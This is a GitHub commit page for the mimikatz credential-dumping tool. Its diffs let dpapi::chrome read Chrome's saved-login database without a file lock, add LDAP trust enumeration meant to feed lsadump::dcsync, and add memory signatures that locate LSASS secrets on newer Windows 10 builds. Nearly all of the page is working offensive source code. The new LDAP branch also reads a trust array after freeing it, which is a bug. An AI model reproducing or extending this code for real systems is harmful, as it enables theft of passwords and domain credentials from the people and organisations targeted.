Skip to content

Commit

Permalink
[fix gentilkiwi#199] Allow dpapi::chrome to open DB without lock (lib…
Browse files Browse the repository at this point in the history
…rary update to support win32-none VFS) thank you @psychomario !

[new] net::trust adds LDAP search to get objectGuid for lsadump::dcsync usage
  • Loading branch information
gentilkiwi authored and wzdiyb committed Feb 16, 2020
1 parent cfd63e7 commit a3a4413
Show file tree
Hide file tree
Showing 9 changed files with 51,515 additions and 24,989 deletions.
2 changes: 1 addition & 1 deletion mimikatz/mimikatz.vcxproj
Original file line number Diff line number Diff line change
Expand Up @@ -153,7 +153,7 @@
<ClCompile Include="..\modules\kull_m_token.c" />
<ClCompile Include="..\modules\kull_m_xml.c" />
<ClCompile Include="..\modules\sqlite3_omit.c">
<PreprocessorDefinitions>SQLITE_TEMP_STORE=3;SQLITE_DISABLE_INTRINSIC;SQLITE_DISABLE_LFS;SQLITE_DISABLE_DIRSYNC;SQLITE_DISABLE_FTS3_UNICODE;SQLITE_DISABLE_FTS4_DEFERRED;SQLITE_DISABLE_PAGECACHE_OVERFLOW_STATS;SQLITE_OMIT_TRIGGER;SQLITE_OMIT_WAL;SQLITE_OMIT_FLOATING_POINT;SQLITE_OMIT_VIRTUALTABLE;SQLITE_OMIT_PRAGMA;SQLITE_OMIT_FOREIGN_KEY;SQLITE_OMIT_AUTOVACUUM;SQLITE_OMIT_SUBQUERY;SQLITE_OMIT_COMPOUND_SELECT;SQLITE_OMIT_EXPLAIN;SQLITE_OMIT_DATETIME_FUNCS;SQLITE_OMIT_INTEGRITY_CHECK;SQLITE_OMIT_ATTACH;SQLITE_OMIT_ALTERTABLE;SQLITE_OMIT_UTF16;SQLITE_OMIT_SHARED_CACHE;SQLITE_OMIT_INCRBLOB;SQLITE_OMIT_ANALYZE;SQLITE_OMIT_AUTHORIZATION;SQLITE_OMIT_VACUUM;SQLITE_OMIT_PAGER_PRAGMAS;SQLITE_OMIT_OR_OPTIMIZATION;SQLITE_OMIT_VIEW;SQLITE_OMIT_BUILTIN_TEST;SQLITE_OMIT_XFER_OPT;SQLITE_OMIT_AUTOINCREMENT;SQLITE_OMIT_SCHEMA_PRAGMAS;SQLITE_OMIT_TRACE;SQLITE_OMIT_LOAD_EXTENSION;SQLITE_OMIT_AUTOMATIC_INDEX;SQLITE_OMIT_LIKE_OPTIMIZATION;SQLITE_OMIT_REINDEX;SQLITE_OMIT_GET_TABLE;SQLITE_OMIT_COMPLETE;SQLITE_OMIT_TEMPDB;SQLITE_OMIT_BTREECOUNT;SQLITE_OMIT_LOCALTIME;SQLITE_OMIT_COMPILEOPTION_DIAGS;SQLITE_OMIT_FLAG_PRAGMAS;SQLITE_OMIT_QUICKBALANCE;SQLITE_OMIT_CAST;SQLITE_OMIT_CHECK;SQLITE_OMIT_MEMORYDB;SQLITE_OMIT_BLOB_LITERAL;SQLITE_OMIT_SCHEMA_VERSION_PRAGMAS;SQLITE_OMIT_LOOKASIDE;SQLITE_OMIT_AUTOINIT;SQLITE_OMIT_DECLTYPE;SQLITE_OMIT_DEPRECATED;SQLITE_OMIT_BETWEEN_OPTIMIZATION;SQLITE_OMIT_PROGRESS_CALLBACK;SQLITE_OMIT_TRUNCATE_OPTIMIZATION;SQLITE_OMIT_TCL_VARIABLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions>SQLITE_TEMP_STORE=3;SQLITE_DISABLE_INTRINSIC;SQLITE_DISABLE_LFS;SQLITE_DISABLE_DIRSYNC;SQLITE_DISABLE_FTS3_UNICODE;SQLITE_DISABLE_FTS4_DEFERRED;SQLITE_DISABLE_PAGECACHE_OVERFLOW_STATS;SQLITE_OMIT_TRIGGER;SQLITE_OMIT_WAL;SQLITE_OMIT_VIRTUALTABLE;SQLITE_OMIT_PRAGMA;SQLITE_OMIT_FOREIGN_KEY;SQLITE_OMIT_AUTOVACUUM;SQLITE_OMIT_SUBQUERY;SQLITE_OMIT_COMPOUND_SELECT;SQLITE_OMIT_EXPLAIN;SQLITE_OMIT_DATETIME_FUNCS;SQLITE_OMIT_INTEGRITY_CHECK;SQLITE_OMIT_ATTACH;SQLITE_OMIT_UTF16;SQLITE_OMIT_SHARED_CACHE;SQLITE_OMIT_INCRBLOB;SQLITE_OMIT_ANALYZE;SQLITE_OMIT_AUTHORIZATION;SQLITE_OMIT_VACUUM;SQLITE_OMIT_PAGER_PRAGMAS;SQLITE_OMIT_OR_OPTIMIZATION;SQLITE_OMIT_BUILTIN_TEST;SQLITE_OMIT_XFER_OPT;SQLITE_OMIT_AUTOINCREMENT;SQLITE_OMIT_SCHEMA_PRAGMAS;SQLITE_OMIT_TRACE;SQLITE_OMIT_LOAD_EXTENSION;SQLITE_OMIT_AUTOMATIC_INDEX;SQLITE_OMIT_LIKE_OPTIMIZATION;SQLITE_OMIT_REINDEX;SQLITE_OMIT_GET_TABLE;SQLITE_OMIT_COMPLETE;SQLITE_OMIT_TEMPDB;SQLITE_OMIT_BTREECOUNT;SQLITE_OMIT_LOCALTIME;SQLITE_OMIT_COMPILEOPTION_DIAGS;SQLITE_OMIT_FLAG_PRAGMAS;SQLITE_OMIT_QUICKBALANCE;SQLITE_OMIT_CAST;SQLITE_OMIT_CHECK;SQLITE_OMIT_MEMORYDB;SQLITE_OMIT_BLOB_LITERAL;SQLITE_OMIT_SCHEMA_VERSION_PRAGMAS;SQLITE_OMIT_LOOKASIDE;SQLITE_OMIT_AUTOINIT;SQLITE_OMIT_DECLTYPE;SQLITE_OMIT_DEPRECATED;SQLITE_OMIT_BETWEEN_OPTIMIZATION;SQLITE_OMIT_PROGRESS_CALLBACK;SQLITE_OMIT_TRUNCATE_OPTIMIZATION;SQLITE_OMIT_TCL_VARIABLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<TreatWarningAsError>false</TreatWarningAsError>
<WarningLevel>Level2</WarningLevel>
</ClCompile>
Expand Down
2 changes: 1 addition & 1 deletion mimikatz/modules/dpapi/packages/kuhl_m_dpapi_chrome.c
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@ NTSTATUS kuhl_m_dpapi_chrome(int argc, wchar_t * argv[])
rc = sqlite3_initialize();
if(rc == SQLITE_OK)
{
rc = sqlite3_open_v2(aInfile, &pDb, SQLITE_OPEN_READONLY, NULL);
rc = sqlite3_open_v2(aInfile, &pDb, SQLITE_OPEN_READONLY, "win32-none");
if(rc == SQLITE_OK)
{
if(kuhl_m_dpapi_chrome_isTableExist(pDb, "logins"))
Expand Down
107 changes: 104 additions & 3 deletions mimikatz/modules/kuhl_m_net.c
Original file line number Diff line number Diff line change
Expand Up @@ -575,12 +575,23 @@ NTSTATUS kuhl_m_net_serverinfo(int argc, wchar_t * argv[])

const PCWCHAR TRUST_ATTRIBUTES_FLAGS[] = {L"IN_FOREST", L"DIRECT_OUTBOUND", L"TREE_ROOT", L"PRIMARY", L"NATIVE_MODE", L"DIRECT_INBOUND"};
const PCWCHAR TRUST_ATTRIBUTES[] = {L"NON_TRANSITIVE", L"UPLEVEL_ONLY", L"FILTER_SIDS/QUARANTINED_DOMAIN", L"FOREST_TRANSITIVE", L"CROSS_ORGANIZATION", L"WITHIN_FOREST", L"TREAT_AS_EXTERNAL", L"TRUST_USES_RC4_ENCRYPTION", L"TRUST_USES_AES_KEYS"};
const PCWCHAR TRUST_DIRECTION[] = {L"DISABLED", L"INBOUND", L"OUTBOUND", L"BIDIRECTIONAL"};
NTSTATUS kuhl_m_net_trust(int argc, wchar_t * argv[])
{
PDS_DOMAIN_TRUSTS pTrusts;
ULONG uTrusts;
DWORD ret, i, j;
ret = DsEnumerateDomainTrusts(argc ? argv[0] : NULL, DS_DOMAIN_VALID_FLAGS, &pTrusts, &uTrusts);
PWCHAR server, dn, sysDN, pAttribute, myAttrs[] = {L"trustPartner", L"flatName", L"trustAttributes", L"trustDirection", L"trustType", L"objectGUID", NULL};
PLDAP ld;
PLDAPMessage pMessage = NULL, pEntry;
BerElement* pBer = NULL;
PBERVAL *pBerVal;
PCHAR aBuffer;

kull_m_string_args_byName(argc, argv, L"server", &server, NULL);

kprintf(L"RPC mode: ");
ret = DsEnumerateDomainTrusts(server, DS_DOMAIN_VALID_FLAGS, &pTrusts, &uTrusts);
if(ret == ERROR_SUCCESS)
{
for(i = 0; i < uTrusts; i++)
Expand Down Expand Up @@ -617,7 +628,7 @@ NTSTATUS kuhl_m_net_trust(int argc, wchar_t * argv[])
kprintf(L" Attributes: 0x%08x ( ", pTrusts[i].TrustAttributes);
for(j = 0; j < (8 * sizeof(DWORD)); j++)
if((pTrusts[i].TrustAttributes >> j) & 1)
kprintf(L"%s ; ", (j < ARRAYSIZE(TRUST_ATTRIBUTES)) ? TRUST_ATTRIBUTES[j] : L"?");
kprintf(L"%s ; ", (j < ARRAYSIZE(TRUST_ATTRIBUTES)) ? TRUST_ATTRIBUTES[j] : L"?");
kprintf(L")\n SID : ");
kull_m_string_displaySID(pTrusts[i].DomainSid);
kprintf(L"\n GUID : ");
Expand All @@ -627,6 +638,96 @@ NTSTATUS kuhl_m_net_trust(int argc, wchar_t * argv[])
NetApiBufferFree(pTrusts);
}
else PRINT_ERROR(L"DsEnumerateDomainTrusts: %u\n", ret);

kprintf(L"\n\nLDAP mode: ");
if(kull_m_ldap_getLdapAndRootDN(server, L"defaultNamingContext", &ld, &dn))
{
if(kull_m_string_sprintf(&sysDN, L"CN=System,%s", dn))
{
ret = ldap_search_s(ld, sysDN, LDAP_SCOPE_ONELEVEL, L"(objectClass=trustedDomain)", myAttrs, FALSE, &pMessage);
if(ret == LDAP_SUCCESS)
{
kprintf(L"%u entries\n", ldap_count_entries(ld, pMessage));
for(pEntry = ldap_first_entry(ld, pMessage); pEntry; pEntry = ldap_next_entry(ld, pEntry))
{
kprintf(L"\n%s\n", ldap_get_dn(ld, pEntry));
for(pAttribute = ldap_first_attribute(ld, pEntry, &pBer); pAttribute; pAttribute = ldap_next_attribute(ld, pEntry, pBer))
{
kprintf(L" %s: ", pAttribute);
if(pBerVal = ldap_get_values_len(ld, pEntry, pAttribute))
{
if((_wcsicmp(pAttribute, L"objectGUID") == 0))
{
kull_m_string_displayGUID((LPGUID) pBerVal[0]->bv_val);
kprintf(L"\n");
}
else if(
(_wcsicmp(pAttribute, L"trustPartner") == 0) ||
(_wcsicmp(pAttribute, L"flatName") == 0)
)
{
kprintf(L"%*S\n", pBerVal[0]->bv_len, pBerVal[0]->bv_val);
}
else
{
if(kull_m_string_copyA_len(&aBuffer, pBerVal[0]->bv_val, pBerVal[0]->bv_len))
{
ret = strtoul(aBuffer, NULL, 10);
kprintf(L"0x%08x - ", ret);


if(_wcsicmp(pAttribute, L"trustAttributes") == 0)
{
for(j = 0; j < (8 * sizeof(DWORD)); j++)
if((ret >> j) & 1)
kprintf(L"%s ; ", (j < ARRAYSIZE(TRUST_ATTRIBUTES)) ? TRUST_ATTRIBUTES[j] : L"?");
kprintf(L"\n");
}
else if(_wcsicmp(pAttribute, L"trustType") == 0)
{
switch(ret)
{
case TRUST_TYPE_DOWNLEVEL:
kprintf(L"DOWNLEVEL (DC < 2000)\n");
break;
case TRUST_TYPE_UPLEVEL:
kprintf(L"UPLEVEL (DC >= 2000)\n");
break;
case TRUST_TYPE_MIT:
kprintf(L"MIT Kerberos realm\n");
break;
case 0x00000004 /*TRUST_TYPE_DCE*/:
kprintf(L"DCE realm\n");
break;
default:
if((pTrusts[i].TrustType >= 0x5) && (pTrusts[i].TrustType <= 0x000fffff))
kprintf(L"reserved for future use\n");
else if((pTrusts[i].TrustType >= 0x00100000) && (pTrusts[i].TrustType <= 0xfff00000))
kprintf(L"provider specific trust level\n");
else kprintf(L"?\n");
}
}
else if(_wcsicmp(pAttribute, L"trustDirection") == 0)
kprintf(L"%s\n", TRUST_DIRECTION[ret & 0x00000003]);
LocalFree(aBuffer);
}
}
ldap_value_free_len(pBerVal);
}
ldap_memfree(pAttribute);
}
if(pBer)
ber_free(pBer, 0);
}
}
else PRINT_ERROR(L"ldap_search_s 0x%x (%u)\n", ret, ret);
if(pMessage)
ldap_msgfree(pMessage);
LocalFree(sysDN);
}
LocalFree(dn);
ldap_unbind(ld);
}
return STATUS_SUCCESS;
}

Expand All @@ -652,7 +753,7 @@ L")";
BOOL isCheckDNS = kull_m_string_args_byName(argc, argv, L"dns", NULL, NULL);
kull_m_string_args_byName(argc, argv, L"server", &server, NULL);

if(kull_m_ldap_getLdapAndRootDN(server, &ld, &dn))
if(kull_m_ldap_getLdapAndRootDN(server, NULL, &ld, &dn))
{
dwRet = ldap_search_s(ld, dn, LDAP_SCOPE_SUBTREE, filter, myAttrs, FALSE, &pMessage);
if(dwRet == LDAP_SUCCESS)
Expand Down
2 changes: 1 addition & 1 deletion mimikatz/modules/kuhl_m_sid.c
Original file line number Diff line number Diff line change
Expand Up @@ -317,7 +317,7 @@ BOOL kuhl_m_sid_quickSearch(int argc, wchar_t * argv[], BOOL needUnique, PCWCHAR
PWCHAR myAttrs[] = {L"name", L"sAMAccountName", L"objectSid", L"sIDHistory", L"objectGUID", NULL}, dn, filter;
if(filter = kuhl_m_sid_filterFromArgs(argc, argv))
{
if(kull_m_ldap_getLdapAndRootDN(system, ld, &dn))
if(kull_m_ldap_getLdapAndRootDN(system, NULL, ld, &dn))
{
*pMessage = NULL;
dwErr = ldap_search_s(*ld, dn, LDAP_SCOPE_SUBTREE, filter, myAttrs, FALSE, pMessage);
Expand Down
10 changes: 7 additions & 3 deletions mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c
Original file line number Diff line number Diff line change
Expand Up @@ -438,12 +438,14 @@ BYTE PTRN_W2K3_SecData[] = {0x48, 0x8d, 0x6e, 0x30, 0x48, 0x8d, 0x0d};
BYTE PTRN_W2K8_SecData[] = {0x48, 0x8d, 0x94, 0x24, 0xb0, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d};
BYTE PTRN_W2K12_SecData[] = {0x4c, 0x8d, 0x85, 0x30, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x15};
BYTE PTRN_W2K12R2_SecData[] = {0x0f, 0xb6, 0x4c, 0x24, 0x30, 0x85, 0xc0, 0x0f, 0x45, 0xcf, 0x8a, 0xc1};
BYTE PTRN_W2K19_SecData[] = {0x44, 0x8b, 0x45, 0x80, 0x85, 0xc0, 0x0f, 0x84};
KULL_M_PATCH_GENERIC SecDataReferences[] = {
{KULL_M_WIN_BUILD_2K3, {sizeof(PTRN_W2K3_SecData), PTRN_W2K3_SecData}, {0, NULL}, { 7, 37}},
{KULL_M_WIN_BUILD_VISTA, {sizeof(PTRN_W2K8_SecData), PTRN_W2K8_SecData}, {0, NULL}, { 11, 39}},
{KULL_M_WIN_BUILD_8, {sizeof(PTRN_W2K12_SecData), PTRN_W2K12_SecData}, {0, NULL}, { 10, 39}},
{KULL_M_WIN_BUILD_BLUE, {sizeof(PTRN_W2K12R2_SecData), PTRN_W2K12R2_SecData}, {0, NULL}, {-12, 39}},
{KULL_M_WIN_BUILD_10_1507, {sizeof(PTRN_W2K12R2_SecData), PTRN_W2K12R2_SecData}, {0, NULL}, { -9, 39}},
{KULL_M_WIN_BUILD_10_1507, {sizeof(PTRN_W2K12R2_SecData), PTRN_W2K12R2_SecData}, {0, NULL}, { -9, 39}},
{KULL_M_WIN_BUILD_10_1809, {sizeof(PTRN_W2K19_SecData), PTRN_W2K19_SecData}, {0, NULL}, { -9, 39}},
};
#elif defined(_M_IX86)
BYTE PTRN_W2K3_SecData[] = {0x53, 0x56, 0x8d, 0x45, 0x98, 0x50, 0xb9};
Expand Down Expand Up @@ -665,9 +667,11 @@ NTSTATUS kuhl_m_sekurlsa_dpapi_system(int argc, wchar_t * argv[])
#if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64
BYTE PTRN_W2K8R2_DomainList[] = {0xf3, 0x0f, 0x6f, 0x6c, 0x24, 0x30, 0xf3, 0x0f, 0x7f, 0x2d};
BYTE PTRN_W2K12R2_DomainList[] = {0x0f, 0x10, 0x45, 0xf0, 0x66, 0x48, 0x0f, 0x7e, 0xc0, 0x0f, 0x11, 0x05};
BYTE PTRN_W2K16_DomainList[] = {0x48, 0x8b, 0xfa, 0x48, 0x8b, 0xf1, 0xeb};
KULL_M_PATCH_GENERIC DomainListReferences[] = {
{KULL_M_WIN_BUILD_7, {sizeof(PTRN_W2K8R2_DomainList), PTRN_W2K8R2_DomainList}, {0, NULL}, {10}},
{KULL_M_WIN_BUILD_BLUE, {sizeof(PTRN_W2K12R2_DomainList), PTRN_W2K12R2_DomainList}, {0, NULL}, {8}},
{KULL_M_WIN_BUILD_7, {sizeof(PTRN_W2K8R2_DomainList), PTRN_W2K8R2_DomainList}, {0, NULL}, {10}},
{KULL_M_WIN_BUILD_BLUE, {sizeof(PTRN_W2K12R2_DomainList), PTRN_W2K12R2_DomainList}, {0, NULL}, { 8}},
{KULL_M_WIN_BUILD_10_1607, {sizeof(PTRN_W2K16_DomainList), PTRN_W2K16_DomainList}, {0, NULL}, {-4}},
};
NTSTATUS kuhl_m_sekurlsa_trust(int argc, wchar_t * argv[])
{
Expand Down
8 changes: 4 additions & 4 deletions modules/kull_m_ldap.c
Original file line number Diff line number Diff line change
Expand Up @@ -5,14 +5,14 @@
*/
#include "kull_m_ldap.h"

BOOL kull_m_ldap_getLdapAndRootDN(PCWCHAR system, PLDAP *ld, PWCHAR *rootDn)
BOOL kull_m_ldap_getLdapAndRootDN(PCWCHAR system, PCWCHAR nc, PLDAP *ld, PWCHAR *rootDn)
{
BOOL status = FALSE;
DWORD dwErr;

if(*ld = ldap_init((PWCHAR) system, LDAP_PORT))
{
if(*rootDn = kull_m_ldap_getRootDomainNamingContext(*ld))
if(*rootDn = kull_m_ldap_getRootDomainNamingContext(nc, *ld))
{
dwErr = ldap_bind_s(*ld, NULL, NULL, LDAP_AUTH_NEGOTIATE);
status = (dwErr == LDAP_SUCCESS);
Expand All @@ -29,10 +29,10 @@ BOOL kull_m_ldap_getLdapAndRootDN(PCWCHAR system, PLDAP *ld, PWCHAR *rootDn)
return status;
}

PWCHAR kull_m_ldap_getRootDomainNamingContext(LDAP *ld)
PWCHAR kull_m_ldap_getRootDomainNamingContext(PCWCHAR nc, LDAP *ld)
{
DWORD dwErr;
PWCHAR rootAttr[] = {L"rootDomainNamingContext", NULL}, ret = NULL;
PWCHAR rootAttr[] = {nc ? (PWCHAR) nc : L"rootDomainNamingContext", NULL}, ret = NULL;
PLDAPMessage pMessage = NULL;
PBERVAL *pBerVal;

Expand Down
4 changes: 2 additions & 2 deletions modules/kull_m_ldap.h
Original file line number Diff line number Diff line change
Expand Up @@ -9,5 +9,5 @@
#include <WinBer.h>
#include "kull_m_string.h"

BOOL kull_m_ldap_getLdapAndRootDN(PCWCHAR system, PLDAP *ld, PWCHAR *rootDn);
PWCHAR kull_m_ldap_getRootDomainNamingContext(LDAP *ld);
BOOL kull_m_ldap_getLdapAndRootDN(PCWCHAR system, PCWCHAR nc, PLDAP *ld, PWCHAR *rootDn);
PWCHAR kull_m_ldap_getRootDomainNamingContext(PCWCHAR nc, LDAP *ld);
Loading

0 comments on commit a3a4413

Please sign in to comment.